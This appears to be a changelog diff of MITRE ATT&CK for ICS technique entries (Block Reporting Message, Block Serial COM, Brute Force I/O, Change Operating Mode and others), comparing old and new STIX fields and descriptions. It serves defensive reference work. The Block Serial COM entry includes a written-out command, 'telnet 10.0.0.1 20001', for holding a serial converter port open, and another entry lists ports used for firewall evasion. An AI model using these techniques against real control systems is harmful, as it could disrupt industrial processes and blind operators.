| external_references[2]['description'] | Electricity Information Sharing and Analysis Center; SANS Industrial Control Systems. (2016, March 18). Analysis of the Cyber Attack on the Ukranian Power Grid: Defense Use Case. Retrieved March 27, 2018. | Electricity Information Sharing and Analysis Center; SANS Industrial Control Systems 2016, March 18 Analysis of the Cyber Attack on the Ukranian Power Grid: Defense Use Case Retrieved. 2018/03/27 |
| external_references[2]['url'] | https://ics.sans.org/media/E-ISAC%20SANS%20Ukraine%20DUC%205.pdf | https://assets.contentstack.io/v3/assets/blt36c2e63521272fdc/blt6a77276749b76a40/607f235992f0063e5c070fff/E-ISAC_SANS_Ukraine_DUC_5%5b73%5d.pdf |
| x_mitre_data_sources[0] | Alarm History | Network Traffic: Network Traffic Flow |
| x_mitre_data_sources[1] | Network protocol analysis | Network Traffic: Network Connection Creation |
| x_mitre_data_sources[2] | Packet capture | Application Log: Application Log Content |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process: Process Termination | |
| x_mitre_data_sources | Operational Databases: Process History/Live Data | |
| x_mitre_data_sources | Operational Databases: Process/Event Alarm | |
| x_mitre_platforms | Device Configuration/Parameters |
Current version: 1.0
Version changed from: 0.0 → 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may block or prevent a reporting message from re | t | 1 | Adversaries may block or prevent a reporting message from re |
| > | aching its intended target. Reporting messages relay the sta | > | aching its intended target. In control systems, reporting me | ||
| > | tus of control system devices, which can include event log d | > | ssages contain telemetry data (e.g., I/O values) pertaining | ||
| > | ata and I/O values of the associated device. By blocking the | > | to the current state of equipment and the industrial process | ||
| > | se reporting messages, an adversary can potentially hide the | > | . By blocking these reporting messages, an adversary can pot | ||
| > | ir actions from an operator. Blocking reporting messages in | > | entially hide their actions from an operator. Blocking repo | ||
| > | control systems that manage physical processes may contribu | > | rting messages in control systems that manage physical proce | ||
| > | te to system impact, causing inhibition of a response functi | > | sses may contribute to system impact, causing inhibition of | ||
| > | on. A control system may not be able to respond in a proper | > | a response function. A control system may not be able to res | ||
| > | or timely manner to an event, such as a dangerous fault, if | > | pond in a proper or timely manner to an event, such as a dan | ||
| > | its corresponding reporting message is blocked. (Citation: R | > | gerous fault, if its corresponding reporting message is bloc | ||
| > | esearch - Research - Taxonomy Cyber Attacks on SCADA) In th | > | ked. (Citation: Bonnie Zhu, Anthony Joseph, Shankar Sastry 2 | ||
| > | e 2015 attack on the Ukranian power grid, malicious firmware | > | 011) (Citation: Electricity Information Sharing and Analysi | ||
| > | was used to render communication devices inoperable and eff | > | s Center; SANS Industrial Control Systems March 2016) | ||
| > | ectively block messages from being reported. (Citation: Ukra | ||||
| > | ine15 - EISAC - 201603) | ||||
Dropped Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['ics-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| x_mitre_version | 1.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2022-05-06 17:47:23.892000+00:00 |
| description | Adversaries may block or prevent a reporting message from reaching its intended target. Reporting messages relay the status of control system devices, which can include event log data and I/O values of the associated device. By blocking these reporting messages, an adversary can potentially hide their actions from an operator. Blocking reporting messages in control systems that manage physical processes may contribute to system impact, causing inhibition of a response function. A control system may not be able to respond in a proper or timely manner to an event, such as a dangerous fault, if its corresponding reporting message is blocked. (Citation: Research - Research - Taxonomy Cyber Attacks on SCADA) In the 2015 attack on the Ukranian power grid, malicious firmware was used to render communication devices inoperable and effectively block messages from being reported. (Citation: Ukraine15 - EISAC - 201603) | Adversaries may block or prevent a reporting message from reaching its intended target. In control systems, reporting messages contain telemetry data (e.g., I/O values) pertaining to the current state of equipment and the industrial process. By blocking these reporting messages, an adversary can potentially hide their actions from an operator. Blocking reporting messages in control systems that manage physical processes may contribute to system impact, causing inhibition of a response function. A control system may not be able to respond in a proper or timely manner to an event, such as a dangerous fault, if its corresponding reporting message is blocked. (Citation: Bonnie Zhu, Anthony Joseph, Shankar Sastry 2011) (Citation: Electricity Information Sharing and Analysis Center; SANS Industrial Control Systems March 2016) |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T804 | https://attack.mitre.org/techniques/T0804 |
| external_references[1]['source_name'] | Research - Research - Taxonomy Cyber Attacks on SCADA | Bonnie Zhu, Anthony Joseph, Shankar Sastry 2011 |
| external_references[1]['description'] | Bonnie Zhu, Anthony Joseph, Shankar Sastry. (2011). A Taxonomy of Cyber Attacks on SCADA Systems. Retrieved January 12, 2018. | Bonnie Zhu, Anthony Joseph, Shankar Sastry 2011 A Taxonomy of Cyber Attacks on SCADA Systems Retrieved. 2018/01/12 |
| external_references[2]['source_name'] | Ukraine15 - EISAC - 201603 | Electricity Information Sharing and Analysis Center; SANS Industrial Control Systems March 2016 |
| external_references[2]['description'] | Electricity Information Sharing and Analysis Center; SANS Industrial Control Systems. (2016, March 18). Analysis of the Cyber Attack on the Ukranian Power Grid: Defense Use Case. Retrieved March 27, 2018. | Electricity Information Sharing and Analysis Center; SANS Industrial Control Systems 2016, March 18 Analysis of the Cyber Attack on the Ukranian Power Grid: Defense Use Case Retrieved. 2018/03/27 |
| external_references[2]['url'] | https://ics.sans.org/media/E-ISAC%20SANS%20Ukraine%20DUC%205.pdf | https://assets.contentstack.io/v3/assets/blt36c2e63521272fdc/blt6a77276749b76a40/607f235992f0063e5c070fff/E-ISAC_SANS_Ukraine_DUC_5%5b73%5d.pdf |
| x_mitre_data_sources[0] | Alarm History | Network Traffic: Network Traffic Flow |
| x_mitre_data_sources[1] | Data historian | Network Traffic: Network Connection Creation |
| x_mitre_data_sources[2] | Network protocol analysis | Application Log: Application Log Content |
| x_mitre_data_sources[3] | Packet capture | Process: Process Termination |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Operational Databases: Process History/Live Data | |
| x_mitre_data_sources | Operational Databases: Process/Event Alarm | |
| x_mitre_platforms | Device Configuration/Parameters |
Current version: 1.0
Version changed from: 0.0 → 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may block access to serial COM to prevent instru | t | 1 | Adversaries may block access to serial COM to prevent instru |
| > | ctions or configurations from reaching target devices. Seria | > | ctions or configurations from reaching target devices. Seria | ||
| > | l Communication ports (COM) allow communication with control | > | l Communication ports (COM) allow communication with control | ||
| > | system devices. Devices can receive command and configurati | > | system devices. Devices can receive command and configurati | ||
| > | on messages over such serial COM. Devices also use serial CO | > | on messages over such serial COM. Devices also use serial CO | ||
| > | M to send command and reporting messages. Blocking device se | > | M to send command and reporting messages. Blocking device se | ||
| > | rial COM may also block command messages and block reporting | > | rial COM may also block command messages and block reporting | ||
| > | messages. A serial to Ethernet converter is often connect | > | messages. A serial to Ethernet converter is often connect | ||
| > | ed to a serial COM to facilitate communication between seria | > | ed to a serial COM to facilitate communication between seria | ||
| > | l and Ethernet devices. One approach to blocking a serial CO | > | l and Ethernet devices. One approach to blocking a serial CO | ||
| > | M would be to create and hold open a TCP session with the Et | > | M would be to create and hold open a TCP session with the Et | ||
| > | hernet side of the converter. A serial to Ethernet converter | > | hernet side of the converter. A serial to Ethernet converter | ||
| > | may have a few ports open to facilitate multiple communicat | > | may have a few ports open to facilitate multiple communicat | ||
| > | ions. For example, if there are three serial COM available - | > | ions. For example, if there are three serial COM available - | ||
| > | - 1, 2 and 3 --, the converter might be listening on the cor | > | - 1, 2 and 3 --, the converter might be listening on the cor | ||
| > | responding ports 20001, 20002, and 20003. If a TCP/IP connec | > | responding ports 20001, 20002, and 20003. If a TCP/IP connec | ||
| > | tion is opened with one of these ports and held open, then t | > | tion is opened with one of these ports and held open, then t | ||
| > | he port will be unavailable for use by another party. One wa | > | he port will be unavailable for use by another party. One wa | ||
| > | y the adversary could achieve this would be to initiate a TC | > | y the adversary could achieve this would be to initiate a TC | ||
| > | P session with the serial to Ethernet converter at <code>10. | > | P session with the serial to Ethernet converter at 10.0.0.1 | ||
| > | 0.0.1</code> via Telnet on serial port 1 with the following | > | via Telnet on serial port 1 with the following command: teln | ||
| > | command: <code>telnet 10.0.0.1 20001</code>. | > | et 10.0.0.1 20001. | ||
New Mitigations:
Dropped Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['ics-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| x_mitre_version | 1.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2022-05-06 17:47:23.892000+00:00 |
| description | Adversaries may block access to serial COM to prevent instructions or configurations from reaching target devices. Serial Communication ports (COM) allow communication with control system devices. Devices can receive command and configuration messages over such serial COM. Devices also use serial COM to send command and reporting messages. Blocking device serial COM may also block command messages and block reporting messages.
A serial to Ethernet converter is often connected to a serial COM to facilitate communication between serial and Ethernet devices. One approach to blocking a serial COM would be to create and hold open a TCP session with the Ethernet side of the converter. A serial to Ethernet converter may have a few ports open to facilitate multiple communications. For example, if there are three serial COM available -- 1, 2 and 3 --, the converter might be listening on the corresponding ports 20001, 20002, and 20003. If a TCP/IP connection is opened with one of these ports and held open, then the port will be unavailable for use by another party. One way the adversary could achieve this would be to initiate a TCP session with the serial to Ethernet converter at 10.0.0.1 via Telnet on serial port 1 with the following command: telnet 10.0.0.1 20001. | Adversaries may block access to serial COM to prevent instructions or configurations from reaching target devices. Serial Communication ports (COM) allow communication with control system devices. Devices can receive command and configuration messages over such serial COM. Devices also use serial COM to send command and reporting messages. Blocking device serial COM may also block command messages and block reporting messages. A serial to Ethernet converter is often connected to a serial COM to facilitate communication between serial and Ethernet devices. One approach to blocking a serial COM would be to create and hold open a TCP session with the Ethernet side of the converter. A serial to Ethernet converter may have a few ports open to facilitate multiple communications. For example, if there are three serial COM available -- 1, 2 and 3 --, the converter might be listening on the corresponding ports 20001, 20002, and 20003. If a TCP/IP connection is opened with one of these ports and held open, then the port will be unavailable for use by another party. One way the adversary could achieve this would be to initiate a TCP session with the serial to Ethernet converter at 10.0.0.1 via Telnet on serial port 1 with the following command: telnet 10.0.0.1 20001. |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T805 | https://attack.mitre.org/techniques/T0805 |
| x_mitre_data_sources[0] | Alarm history | Network Traffic: Network Traffic Flow |
| x_mitre_data_sources[1] | Data historian | Network Traffic: Network Connection Creation |
| x_mitre_data_sources[2] | Network protocol analysis | Application Log: Application Log Content |
| x_mitre_data_sources[3] | Packet capture | Process: Process Termination |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Operational Databases: Process History/Live Data | |
| x_mitre_data_sources | Operational Databases: Process/Event Alarm | |
| x_mitre_platforms | Device Configuration/Parameters |
Current version: 1.0
Version changed from: 0.0 → 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may brute force I/O addresses on a device and at | t | 1 | Adversaries may repetitively or successively change I/O poin |
| > | tempt to exhaustively perform an action. By enumerating the | > | t values to perform an action. Brute Force I/O may be achiev | ||
| > | full range of I/O addresses, an adversary may manipulate a p | > | ed by changing either a range of I/O point values or a singl | ||
| > | rocess function without having to target specific I/O interf | > | e point value repeatedly to manipulate a process function. T | ||
| > | aces. More than one process function manipulation and enumer | > | he adversarys goal and the information they have about the t | ||
| > | ation pass may occur on the targeted I/O range in a brute fo | > | arget environment will influence which of the options they c | ||
| > | rce attempt. | > | hoose. In the case of brute forcing a range of point values, | ||
| > | the adversary may be able to achieve an impact without targ | ||||
| > | eting a specific point. In the case where a single point is | ||||
| > | targeted, the adversary may be able to generate instability | ||||
| > | on the process function associated with that particular poin | ||||
| > | t. Adversaries may use Brute Force I/O to cause failures wi | ||||
| > | thin various industrial processes. These failures could be t | ||||
| > | he result of wear on equipment or damage to downstream equip | ||||
| > | ment. | ||||
New Mitigations:
Dropped Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['ics-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| x_mitre_version | 1.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2022-05-06 17:47:23.893000+00:00 |
| description | Adversaries may brute force I/O addresses on a device and attempt to exhaustively perform an action. By enumerating the full range of I/O addresses, an adversary may manipulate a process function without having to target specific I/O interfaces. More than one process function manipulation and enumeration pass may occur on the targeted I/O range in a brute force attempt. | Adversaries may repetitively or successively change I/O point values to perform an action. Brute Force I/O may be achieved by changing either a range of I/O point values or a single point value repeatedly to manipulate a process function. The adversarys goal and the information they have about the target environment will influence which of the options they choose. In the case of brute forcing a range of point values, the adversary may be able to achieve an impact without targeting a specific point. In the case where a single point is targeted, the adversary may be able to generate instability on the process function associated with that particular point. Adversaries may use Brute Force I/O to cause failures within various industrial processes. These failures could be the result of wear on equipment or damage to downstream equipment. |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T806 | https://attack.mitre.org/techniques/T0806 |
| x_mitre_data_sources[0] | Alarm history | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[1] | Sequential event recorder | Application Log: Application Log Content |
| x_mitre_data_sources[2] | Data historian | Operational Databases: Process History/Live Data |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Netflow/Enclave netflow | |
| x_mitre_data_sources | Network protocol analysis | |
| x_mitre_data_sources | Packet capture |
Current version: 1.0
Version changed from: 0.0 → 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may place controllers into an alternate mode of | t | 1 | Adversaries may change the operating mode of a controller to |
| > | operation to enable configuration setting changes for evasiv | > | gain additional access to engineering functions such as Pro | ||
| > | e code execution or to inhibit device functionality. Program | > | gram Download. Programmable controllers typically have sev | ||
| > | mable controllers typically have several modes of operation. | > | eral modes of operation that control the state of the user p | ||
| > | These modes can be broken down into three main categories: | > | rogram and control access to the controllers API. Operating | ||
| > | program run, program edit, and program write. Each of these | > | modes can be physically selected using a key switch on the f | ||
| > | modes puts the device in a state in which certain functions | > | ace of the controller but may also be selected with calls to | ||
| > | are available. For instance, the program edit mode allows | > | the controllers API. Operating modes and the mechanisms by | ||
| > | alterations to be made to the user program while the device | > | which they are selected often vary by vendor and product lin | ||
| > | is still online. By driving a device int | > | e. Some commonly implemented operating modes are described b | ||
| > | o an alternate mode of operation, an adversary has the abili | > | elow: * Program - This mode must be enabled before change | ||
| > | ty to change configuration settings in such a way to cause a | > | s can be made to a devices program. This allows program uplo | ||
| > | Impact to equipment and/or industrial process associated wi | > | ads and downloads between the device and an engineering work | ||
| > | th the targeted device. An adversary may also use this alter | > | station. Often the PLCs logic Is halted, and all outputs may | ||
| > | nate mode to execute arbitrary code which could be used to e | > | be forced off. (Citation: N.A. October 2017) * Run - Exec | ||
| > | vade defenses. | > | ution of the devices program occurs in this mode. Input and | ||
| > | output (values, points, tags, elements, etc.) are monitored | ||||
| > | and used according to the programs logic. [Program Upload](h | ||||
| > | ttps://attack.mitre.org/techniques/T0845) and [Program Downl | ||||
| > | oad](https://attack.mitre.org/techniques/T0843) are disabled | ||||
| > | while in this mode. (Citation: Omron) (Citation: Machine In | ||||
| > | formation Systems 2007) (Citation: N.A. October 2017) (Cita | ||||
| > | tion: PLCgurus 2021) * Remote - Allows for remote changes | ||||
| > | to a PLCs operation mode. (Citation: PLCgurus 2021) * S | ||||
| > | top - The PLC and program is stopped, while in this mode, ou | ||||
| > | tputs are forced off. (Citation: Machine Information Systems | ||||
| > | 2007) * Reset - Conditions on the PLC are reset to their | ||||
| > | original states. Warm resets may retain some memory while c | ||||
| > | old resets will reset all I/O and data registers. (Citation: | ||||
| > | Machine Information Systems 2007) * Test / Monitor mode | ||||
| > | - Similar to run mode, I/O is processed, although this mode | ||||
| > | allows for monitoring, force set, resets, and more generally | ||||
| > | tuning or debugging of the system. Often monitor mode may b | ||||
| > | e used as a trial for initialization. (Citation: Omron) | ||||
New Mitigations:
Dropped Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_detection | ||
| x_mitre_domains | ['ics-attack'] | |
| x_mitre_is_subtechnique | False | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| x_mitre_version | 1.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2022-05-24 11:42:52.057000+00:00 |
| name | Utilize/Change Operating Mode | Change Operating Mode |
| description | Adversaries may place controllers into an alternate mode of operation to enable configuration setting changes for evasive code execution or to inhibit device functionality. Programmable controllers typically have several modes of operation. These modes can be broken down into three main categories: program run, program edit, and program write. Each of these modes puts the device in a state in which certain functions are available. For instance, the program edit mode allows alterations to be made to the user program while the device is still online. By driving a device into an alternate mode of operation, an adversary has the ability to change configuration settings in such a way to cause a Impact to equipment and/or industrial process associated with the targeted device. An adversary may also use this alternate mode to execute arbitrary code which could be used to evade defenses. | Adversaries may change the operating mode of a controller to gain additional access to engineering functions such as Program Download. Programmable controllers typically have several modes of operation that control the state of the user program and control access to the controllers API. Operating modes can be physically selected using a key switch on the face of the controller but may also be selected with calls to the controllers API. Operating modes and the mechanisms by which they are selected often vary by vendor and product line. Some commonly implemented operating modes are described below: * Program - This mode must be enabled before changes can be made to a devices program. This allows program uploads and downloads between the device and an engineering workstation. Often the PLCs logic Is halted, and all outputs may be forced off. (Citation: N.A. October 2017) * Run - Execution of the devices program occurs in this mode. Input and output (values, points, tags, elements, etc.) are monitored and used according to the programs logic. [Program Upload](https://attack.mitre.org/techniques/T0845) and [Program Download](https://attack.mitre.org/techniques/T0843) are disabled while in this mode. (Citation: Omron) (Citation: Machine Information Systems 2007) (Citation: N.A. October 2017) (Citation: PLCgurus 2021) * Remote - Allows for remote changes to a PLCs operation mode. (Citation: PLCgurus 2021) * Stop - The PLC and program is stopped, while in this mode, outputs are forced off. (Citation: Machine Information Systems 2007) * Reset - Conditions on the PLC are reset to their original states. Warm resets may retain some memory while cold resets will reset all I/O and data registers. (Citation: Machine Information Systems 2007) * Test / Monitor mode - Similar to run mode, I/O is processed, although this mode allows for monitoring, force set, resets, and more generally tuning or debugging of the system. Often monitor mode may be used as a trial for initialization. (Citation: Omron) |
| kill_chain_phases[0]['phase_name'] | evasion-ics | execution-ics |
| kill_chain_phases[1]['phase_name'] | inhibit-response-function | evasion-ics |
| external_references[0]['source_name'] | mitre-ics-attack | mitre-attack |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T858 | https://attack.mitre.org/techniques/T0858 |
| x_mitre_data_sources[0] | Alarm history | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[1] | Sequential event recorder | Application Log: Application Log Content |
| x_mitre_data_sources[2] | Network protocol analysis | Operational Databases: Device Alarm |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Machine Information Systems 2007', 'description': 'Machine Information Systems 2007 How PLCs Work Retrieved. 2021/01/28 ', 'url': 'http://www.machine-information-systems.com/How_PLCs_Work.html'} | |
| external_references | {'source_name': 'N.A. October 2017', 'description': 'N.A. 2017, October What are the different operating modes in PLC? Retrieved. 2021/01/28 ', 'url': 'https://forumautomation.com/t/what-are-the-different-operating-modes-in-plc/2489'} | |
| external_references | {'source_name': 'Omron', 'description': 'Omron Machine Information Systems 2007 How PLCs Work Retrieved. 2021/01/28 PLC Different Operating Modes Retrieved. 2021/01/28 ', 'url': 'https://www.omron-ap.com/service_support/FAQ/FAQ00002/index.asp#:~:text=In%20PROGRAM%20mode%2C%20the%20CPU,can%20be%20created%20or%20modified.'} | |
| external_references | {'source_name': 'PLCgurus 2021', 'description': 'PLCgurus 2021 PLC Basics Modes Of Operation Retrieved. 2021/01/28 ', 'url': 'https://www.plcgurus.net/plc-basics/'} |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Packet capture | |
| x_mitre_platforms | Windows |
Current version: 1.0
Version changed from: 0.0 → 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may utilize command-line interfaces (CLIs) to in | t | 1 | Adversaries may utilize command-line interfaces (CLIs) to in |
| > | teract with systems and execute commands. CLIs provide a mea | > | teract with systems and execute commands. CLIs provide a mea | ||
| > | ns of interacting with computer systems and are a common fea | > | ns of interacting with computer systems and are a common fea | ||
| > | ture across many types of platforms and devices within contr | > | ture across many types of platforms and devices within contr | ||
| > | ol systems environments. (Citation: EAttack Command-Line Int | > | ol systems environments. (Citation: Enterprise ATT&CK Januar | ||
| > | erface) Adversaries may also use CLIs to install and run new | > | y 2018) Adversaries may also use CLIs to install and run new | ||
| > | software, including malicious tools that may be installed o | > | software, including malicious tools that may be installed o | ||
| > | ver the course of an operation. CLIs are typically accessed | > | ver the course of an operation. CLIs are typically accessed | ||
| > | locally, but can also be exposed via services, such as SSH, | > | locally, but can also be exposed via services, such as SSH, | ||
| > | Telnet, and RDP. Commands that are executed in the CLI exe | > | Telnet, and RDP. Commands that are executed in the CLI exe | ||
| > | cute with the current permissions level of the process runni | > | cute with the current permissions level of the process runni | ||
| > | ng the terminal emulator, unless the command specifies a cha | > | ng the terminal emulator, unless the command specifies a cha | ||
| > | nge in permissions context. Many controllers have CLI inter | > | nge in permissions context. Many controllers have CLI inter | ||
| > | faces for management purposes. Detection: Command-line inte | > | faces for management purposes. | ||
| > | rface activities can be captured through proper logging of p | ||||
| > | rocess execution with command-line arguments. This informati | ||||
| > | on can be useful in gaining additional insight to adversarie | ||||
| > | s' actions through how they use native processes or custom t | ||||
| > | ools. | ||||
New Mitigations:
Dropped Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['ics-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| x_mitre_version | 1.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2022-05-06 17:47:23.898000+00:00 |
| description | Adversaries may utilize command-line interfaces (CLIs) to interact with systems and execute commands. CLIs provide a means of interacting with computer systems and are a common feature across many types of platforms and devices within control systems environments. (Citation: EAttack Command-Line Interface) Adversaries may also use CLIs to install and run new software, including malicious tools that may be installed over the course of an operation. CLIs are typically accessed locally, but can also be exposed via services, such as SSH, Telnet, and RDP. Commands that are executed in the CLI execute with the current permissions level of the process running the terminal emulator, unless the command specifies a change in permissions context. Many controllers have CLI interfaces for management purposes. Detection: Command-line interface activities can be captured through proper logging of process execution with command-line arguments. This information can be useful in gaining additional insight to adversaries' actions through how they use native processes or custom tools. | Adversaries may utilize command-line interfaces (CLIs) to interact with systems and execute commands. CLIs provide a means of interacting with computer systems and are a common feature across many types of platforms and devices within control systems environments. (Citation: Enterprise ATT&CK January 2018) Adversaries may also use CLIs to install and run new software, including malicious tools that may be installed over the course of an operation. CLIs are typically accessed locally, but can also be exposed via services, such as SSH, Telnet, and RDP. Commands that are executed in the CLI execute with the current permissions level of the process running the terminal emulator, unless the command specifies a change in permissions context. Many controllers have CLI interfaces for management purposes. |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T807 | https://attack.mitre.org/techniques/T0807 |
| external_references[1]['source_name'] | EAttack Command-Line Interface | Enterprise ATT&CK January 2018 |
| external_references[1]['description'] | Enterprise ATT&CK. (2018, January 11). Command-Line Interface. Retrieved May 17, 2018. | Enterprise ATT&CK 2018, January 11 Command-Line Interface Retrieved. 2018/05/17 |
| x_mitre_data_sources[0] | Process monitoring | Command: Command Execution |
| x_mitre_data_sources[1] | Process command-line parameters | Process: Process Creation |
| x_mitre_data_sources[2] | Network protocol analysis | Module: Module Load |
| x_mitre_data_sources[3] | Packet capture | Process: Process Creation |
| x_mitre_platforms[0] | Windows | Control Server |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Script: Script Execution | |
| x_mitre_platforms | Data Historian | |
| x_mitre_platforms | Field Controller/RTU/PLC/IED | |
| x_mitre_platforms | Human-Machine Interface | |
| x_mitre_platforms | Input/Output Server |
Current version: 1.0
Version changed from: 0.0 → 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may communicate over a commonly used port to byp | t | 1 | Adversaries may communicate over a commonly used port to byp |
| > | ass firewalls or network detection systems and to blend in w | > | ass firewalls or network detection systems and to blend in w | ||
| > | ith normal network activity, to avoid more detailed inspecti | > | ith normal network activity, to avoid more detailed inspecti | ||
| > | on. They may use the protocol associated with the port, or a | > | on. They may use the protocol associated with the port, or a | ||
| > | completely different protocol. They may use commonly open p | > | completely different protocol. They may use commonly open p | ||
| > | orts, such as the examples provided below. * TCP:80 (HTTP) * | > | orts, such as the examples provided below. * TCP:80 (HTT | ||
| > | TCP:443 (HTTPS) * TCP/UDP:53 (DNS) * TCP:1024-4999 (OPC on | > | P) * TCP:443 (HTTPS) * TCP/UDP:53 (DNS) * TCP:1024-499 | ||
| > | XP/Win2k3) * TCP:49152-65535 (OPC on Vista and later) * TCP: | > | 9 (OPC on XP/Win2k3) * TCP:49152-65535 (OPC on Vista and l | ||
| > | 23 (TELNET) * UDP:161 (SNMP) * TCP:502 (MODBUS) * TCP:102 (S | > | ater) * TCP:23 (TELNET) * UDP:161 (SNMP) * TCP:502 (MO | ||
| > | 7comm/ISO-TSAP) * TCP:20000 (DNP3) * TCP:44818 (Ethernet/IP) | > | DBUS) * TCP:102 (S7comm/ISO-TSAP) * TCP:20000 (DNP3) * | ||
| > | Contributors: Matan Dobrushin - Otorio | > | TCP:44818 (Ethernet/IP) | ||
New Mitigations:
Dropped Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_data_sources | ['Network Traffic: Network Traffic Flow'] | |
| x_mitre_deprecated | False | |
| x_mitre_detection | ||
| x_mitre_domains | ['ics-attack'] | |
| x_mitre_is_subtechnique | False | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| x_mitre_version | 1.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2022-05-24 14:31:04.264000+00:00 |
| description | Adversaries may communicate over a commonly used port to bypass firewalls or network detection systems and to blend in with normal network activity, to avoid more detailed inspection. They may use the protocol associated with the port, or a completely different protocol. They may use commonly open ports, such as the examples provided below. * TCP:80 (HTTP) * TCP:443 (HTTPS) * TCP/UDP:53 (DNS) * TCP:1024-4999 (OPC on XP/Win2k3) * TCP:49152-65535 (OPC on Vista and later) * TCP:23 (TELNET) * UDP:161 (SNMP) * TCP:502 (MODBUS) * TCP:102 (S7comm/ISO-TSAP) * TCP:20000 (DNP3) * TCP:44818 (Ethernet/IP) Contributors: Matan Dobrushin - Otorio | Adversaries may communicate over a commonly used port to bypass firewalls or network detection systems and to blend in with normal network activity, to avoid more detailed inspection. They may use the protocol associated with the port, or a completely different protocol. They may use commonly open ports, such as the examples provided below. * TCP:80 (HTTP) * TCP:443 (HTTPS) * TCP/UDP:53 (DNS) * TCP:1024-4999 (OPC on XP/Win2k3) * TCP:49152-65535 (OPC on Vista and later) * TCP:23 (TELNET) * UDP:161 (SNMP) * TCP:502 (MODBUS) * TCP:102 (S7comm/ISO-TSAP) * TCP:20000 (DNP3) * TCP:44818 (Ethernet/IP) |
| external_references[0]['source_name'] | mitre-ics-attack | mitre-attack |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T885 | https://attack.mitre.org/techniques/T0885 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Windows |
Current version: 1.0
Version changed from: 0.0 → 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may use a connection proxy to direct network tra | t | 1 | Adversaries may use a connection proxy to direct network tra |
| > | ffic between systems or act as an intermediary for network c | > | ffic between systems or act as an intermediary for network c | ||
| > | ommunications. The definition of a proxy can also be expand | > | ommunications. The definition of a proxy can also be expand | ||
| > | ed to encompass trust relationships between networks in peer | > | ed to encompass trust relationships between networks in peer | ||
| > | -to-peer, mesh, or trusted connections between networks cons | > | -to-peer, mesh, or trusted connections between networks cons | ||
| > | isting of hosts or systems that regularly communicate with e | > | isting of hosts or systems that regularly communicate with e | ||
| > | ach other. The network may be within a single organization | > | ach other. The network may be within a single organization | ||
| > | or across multiple organizations with trust relationships. A | > | or across multiple organizations with trust relationships. A | ||
| > | dversaries could use these types of relationships to manage | > | dversaries could use these types of relationships to manage | ||
| > | command and control communications, to reduce the number of | > | command and control communications, to reduce the number of | ||
| > | simultaneous outbound network connections, to provide resili | > | simultaneous outbound network connections, to provide resili | ||
| > | ency in the face of connection loss, or to ride over existin | > | ency in the face of connection loss, or to ride over existin | ||
| > | g trusted communications paths between victims to avoid susp | > | g trusted communications paths between victims to avoid susp | ||
| > | icion. (Citation: EAttack Connection Proxy) Detection: Proc | > | icion. (Citation: Enterprise ATT&CK January 2018) | ||
| > | esses utilizing the network that do not normally have networ | ||||
| > | k communication or have never been seen before are suspiciou | ||||
| > | s. Network activities disassociated from user-driven actions | ||||
| > | from processes that normally require user direction are sus | ||||
